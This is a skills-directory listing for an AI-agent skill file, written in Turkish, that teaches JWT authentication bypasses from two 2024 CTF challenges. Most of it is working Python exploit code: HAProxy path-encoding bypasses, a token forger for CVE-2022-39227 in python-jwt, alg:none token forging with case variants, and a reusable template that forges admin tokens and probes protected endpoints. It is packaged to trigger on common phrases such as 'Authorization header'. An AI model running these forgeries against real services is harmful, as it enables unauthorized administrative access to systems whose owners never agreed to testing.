Skip to content
Back to skills

Jwt Web Bypass

ASecurity

Web uygulamalarında JWT bypass — alg:none, CVE-2022-39227, SSRF zinciri

  • 4 stars
  • 0 votes
  • 0 copies
  • 2 views
  • Added September 8, 2026
securitypythongospringdockergitapisecurity

Works with

  • api

Security analysis

A96/100
  • mediumInstalls packages at runtime which could introduce malicious dependencies

Pro shows the line behind each finding and how to fix it

Scanned September 8, 2026

npx -y skills add MustafaKemal0146/fetih --skill jwt-web-bypass --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Jwt Web Bypass?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Jwt Web Bypass
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/mustafakemal0146-jwt-web-bypass/badge)](https://www.skillsdirectory.com/skills/mustafakemal0146-jwt-web-bypass)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: jwt-web-bypass
description: Web uygulamalarında JWT bypass — alg:none, CVE-2022-39227, SSRF zinciri
tags: [ctf, web, jwt, bypass, alg-none, python-jwt, cve, haproxy, ssrf]
triggers:
  - "JWT Bearer token"
  - "Authorization header"
  - "role: admin"
  - "guest token"
  - "HAProxy 403"
  - "python-jwt"
  - "URL encoded bypass"
  - "double slash bypass"
difficulty: medium
category: web
solved_challenges:
  - "HTB Cyber Apocalypse 2024 - LockTalk (HAProxy + CVE-2022-39227)"
  - "LINE CTF 2024 - jalyboy baby (alg:none Spring)"
adapted_for: fetih
---

# JWT Web Bypass

## Ne Zaman Kullan

- Uygulamada `Authorization: Bearer <token>` header'ı varsa
- Token decode edildiğinde `role`, `admin`, `user`, `guest` gibi claim'ler görünüyorsa
- `/api/admin`, `/api/flag` gibi endpoint'ler 403 dönüyorsa
- `python-jwt` kütüphanesi kullanıldığı düşünülüyorsa (CVE-2022-39227)
- HAProxy veya reverse proxy önünde uygulama varsa (path bypass olabilir)
- Spring Security ile JWT doğrulama yapılıyorsa (alg:none zafiyeti)

---

## HTB Cyber Apocalypse 2024 — LockTalk Tam Çözümü

**Senaryo:** HAProxy, `/api/v1/get_ticket` endpoint'ini blocklıyor. Ancak URL encoding ile bypass edilebilir. Sonra guest JWT alınıp CVE-2022-39227 ile admin'e yükselme.

### Adım 1: HAProxy Bypass

HAProxy kural `/api/v1/get_ticket` path'ini blokluyorsa URL encode dene:

```python
import requests

BASE_URL = "http://<IP>:<PORT>"

# HAProxy /api/v1/get_ticket path'ini bloklıyor
# %2f = /, double-slash veya URL encode ile bypass

# Yöntem 1: Path segment encode
r = requests.get(f"{BASE_URL}/api/v1/%67et_ticket")
print(r.status_code, r.text)

# Yöntem 2: Double slash
r = requests.get(f"{BASE_URL}//api/v1/get_ticket")
print(r.status_code, r.text)

# Yöntem 3: Null byte veya fragment
r = requests.get(f"{BASE_URL}/api/v1/get_ticket%23")
print(r.status_code, r.text)
```

### Adım 2: Guest JWT Al

```python
import requests

BASE_URL = "http://<IP>:<PORT>"

# HAProxy bypass ile guest token al
r = requests.get(f"{BASE_URL}/api/v1/%67et_ticket")
data = r.json()
guest_token = data["ticket"]  # veya data["token"]
print("Guest token:", guest_token)

# Token'ı decode et (imzayı doğrulamadan)
import base64, json

def jwt_decode_payload(token):
    parts = token.split(".")
    # Base64 padding düzelt
    payload_b64 = parts[1] + "=="
    payload = json.loads(base64.urlsafe_b64decode(payload_b64))
    return payload

payload = jwt_decode_payload(guest_token)
print("Payload:", json.dumps(payload, indent=2))
# Çıktı: {"role": "guest", "user": "...", ...}
```

### Adım 3: CVE-2022-39227 ile Admin Token Forge

**CVE-2022-39227:** `python-jwt < 3.3.4` sürümlerinde JSON token içine `" "` (boşluk) veya unicode karakterlerle ikinci bir payload inject edilebilir. Kütüphane signature'ı ilk payload'a göre doğrular ama claim'leri ikinci (sahte) payload'dan okur.

```python
# pip install python-jwt==3.3.2  (zafiyetli versiyon test için)
# Gerçek exploit için manuel JSON manipulation

import json
import base64

def forge_token_cve_2022_39227(original_token, new_claims):
    """
    CVE-2022-39227: python-jwt JSON confusion attack
    Orijinal token'ın signature'ını koruyarak claim'leri değiştirir.
    """
    header_b64, payload_b64, signature = original_token.split(".")

    # Orijinal payload'ı decode et
    padded = payload_b64 + "==" 
    orig_payload = json.loads(base64.urlsafe_b64decode(padded))

    # Yeni payload oluştur
    new_payload = {**orig_payload, **new_claims}

    # JSON confusion: orijinal payload + " " + yeni payload birleştir
    # python-jwt ilk { } bloğuna bakarak signature doğrular
    # ama claim okurken son { } bloğunu alır
    confused_payload = json.dumps(orig_payload) + ' ' + json.dumps(new_payload)

    # Base64 encode (padding olmadan)
    confused_b64 = base64.urlsafe_b64encode(
        confused_payload.encode()
    ).rstrip(b"=").decode()

    forged_token = f"{header_b64}.{confused_b64}.{signature}"
    return forged_token


# Kullanım
import requests

BASE_URL = "http://<IP>:<PORT>"

# 1. Guest token al (HAProxy bypass ile)
r = requests.get(f"{BASE_URL}/api/v1/%67et_ticket")
guest_token = r.json()["ticket"]

# 2. Admin token forge et
admin_token = forge_token_cve_2022_39227(guest_token, {"role": "administrator"})
print("Forged admin token:", admin_token)

# 3. Korumalı endpoint'e eriş
headers = {"Authorization": f"Bearer {admin_token}"}

r = requests.get(f"{BASE_URL}/api/v1/admin/flag", headers=headers)
print(r.status_code, r.text)

r = requests.get(f"{BASE_URL}/api/v1/get_flag", headers=headers)
print(r.status_code, r.text)
```

---

## LINE CTF 2024 — jalyboy baby (alg:none bypass)

**Senaryo:** Spring Boot uygulaması `Jwts.parser().parse()` kullanıyor (`.verifyWith()` yok). Bu durumda imza doğrulaması yapılmaz, alg:none geçerlidir.

### alg:none Token Oluşturma

```python
import base64
import json
import requests

def create_alg_none_token(payload_dict):
    """
    alg:none JWT oluştur — imza yoktur, Spring bazı parser'larda kabul eder.
    """
    # Header
    header = {"alg": "none", "typ": "JWT"}
    header_b64 = base64.urlsafe_b64encode(
        json.dumps(header, separators=(',', ':')).encode()
    ).rstrip(b"=").decode()

    # Payload
    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(payload_dict, separators=(',', ':')).encode()
    ).rstrip(b"=").decode()

    # Signature yok (boş string)
    token = f"{header_b64}.{payload_b64}."
    return token


BASE_URL = "http://<IP>:<PORT>"

# Normal kullanıcı token al
r = requests.post(f"{BASE_URL}/login", json={"username": "guest", "password": "guest"})
print(r.json())

# alg:none ile admin token forge
admin_payload = {
    "sub": "admin",
    "role": "admin",
    "iat": 1700000000,
    "exp": 9999999999
}

forged = create_alg_none_token(admin_payload)
print("alg:none token:", forged)

# Korumalı endpoint'e gönder
headers = {"Authorization": f"Bearer {forged}"}
r = requests.get(f"{BASE_URL}/flag", headers=headers)
print(r.status_code, r.text)

# Spring bazen "Bearer" olmadan da kabul eder
r = requests.get(f"{BASE_URL}/flag", headers={"Authorization": forged})
print(r.status_code, r.text)
```

### alg Varyasyonları (bazı parser'lar büyük/küçük harf duyarlı değil)

```python
# Dene sırasıyla:
alg_variants = ["none", "None", "NONE", "nOnE"]
for alg in alg_variants:
    header = {"alg": alg, "typ": "JWT"}
    header_b64 = base64.urlsafe_b64encode(
        json.dumps(header).encode()
    ).rstrip(b"=").decode()
    payload_b64 = base64.urlsafe_b64encode(
        json.dumps({"sub": "admin", "role": "admin"}).encode()
    ).rstrip(b"=").decode()
    token = f"{header_b64}.{payload_b64}."
    r = requests.get(f"{BASE_URL}/admin", headers={"Authorization": f"Bearer {token}"})
    print(f"alg={alg}: {r.status_code}")
```

---

## Python Exploit Şablonu (Genel JWT Manipülasyon)

```python
#!/usr/bin/env python3
"""
CTF JWT Bypass — Genel Şablon
Kullanım: scripti hedefe göre düzenle
"""

import requests
import base64
import json
import sys

TARGET = "http://<IP>:<PORT>"
SESSION = requests.Session()
SESSION.proxies = {"http": "http://127.0.0.1:8080"}  # Burp proxy için, istemiyorsan kaldır


def b64_decode_jwt_part(part):
    """JWT base64url decode (padding otomatik)"""
    padded = part + "=" * (4 - len(part) % 4)
    return json.loads(base64.urlsafe_b64decode(padded))


def b64_encode_jwt_part(data):
    """JWT base64url encode (padding kaldır)"""
    return base64.urlsafe_b64encode(
        json.dumps(data, separators=(',', ':')).encode()
    ).rstrip(b"=").decode()


def analyze_token(token):
    """Token'ı analiz et ve yazdır"""
    parts = token.split(".")
    if len(parts) != 3:
        print("[!] Geçerli JWT değil")
        return
    header = b64_decode_jwt_part(parts[0])
    payload = b64_decode_jwt_part(parts[1])
    print(f"[*] Header:  {json.dumps(header, indent=2)}")
    print(f"[*] Payload: {json.dumps(payload, indent=2)}")
    print(f"[*] Sig:     {parts[2][:20]}...")
    return header, payload, parts[2]


def alg_none_forge(original_token, new_payload_claims):
    """alg:none bypass"""
    parts = original_token.split(".")
    header = b64_decode_jwt_part(parts[0])
    payload = b64_decode_jwt_part(parts[1])

    header["alg"] = "none"
    payload.update(new_payload_claims)

    return f"{b64_encode_jwt_part(header)}.{b64_encode_jwt_part(payload)}."


def main():
    # 1. Önce token al
    print("[*] Token alınıyor...")
    r = SESSION.get(f"{TARGET}/api/v1/get_ticket")
    print(f"    Status: {r.status_code}")

    token = r.json().get("ticket") or r.json().get("token") or r.json().get("access_token")
    if not token:
        print("[!] Token bulunamadı:", r.text)
        sys.exit(1)

    print(f"[*] Token alındı: {token[:40]}...")
    analyze_token(token)

    # 2. Forge et
    forged = alg_none_forge(token, {"role": "administrator", "sub": "admin"})
    print(f"\n[*] Forged token: {forged[:60]}...")

    # 3. Korumalı endpoint'leri dene
    endpoints = ["/api/v1/flag", "/api/v1/admin/flag", "/flag", "/admin"]
    for ep in endpoints:
        r = SESSION.get(
            f"{TARGET}{ep}",
            headers={"Authorization": f"Bearer {forged}"}
        )
        print(f"[*] {ep}: {r.status_code} | {r.text[:100]}")


if __name__ == "__main__":
    main()
```

---

## Tuzaklar

- **HAProxy bypass çalışmıyor:** Farklı encoding dene — `%2f`, double-slash `//`, null byte `%00`, nokta `./`
- **alg:none reddediliyor:** Header'da `"typ": "JWT"` eksik olabilir. Bazı kütüphaneler `"typ"` olmadan reddeder.
- **CVE-2022-39227 çalışmıyor:** `python-jwt >= 3.3.4` patchli. Versiyon bilgisi için `/requirements.txt` veya Docker image layer'larına bak.
- **Signature zorunlu:** RS256 kullanılıyorsa public key'i private key olarak verme saldırısını (alg confusion: RS256→HS256) dene.
- **Token expire oluyor:** `"exp"` claim'ini `9999999999` gibi uzak bir tarihe ayarla.
- **Burp ile debug:** `SESSION.proxies = {"http": "http://127.0.0.1:8080"}` satırını aktif bırak, her isteği Burp'te gör.

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: 3b45f2127fdc9705
-->

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…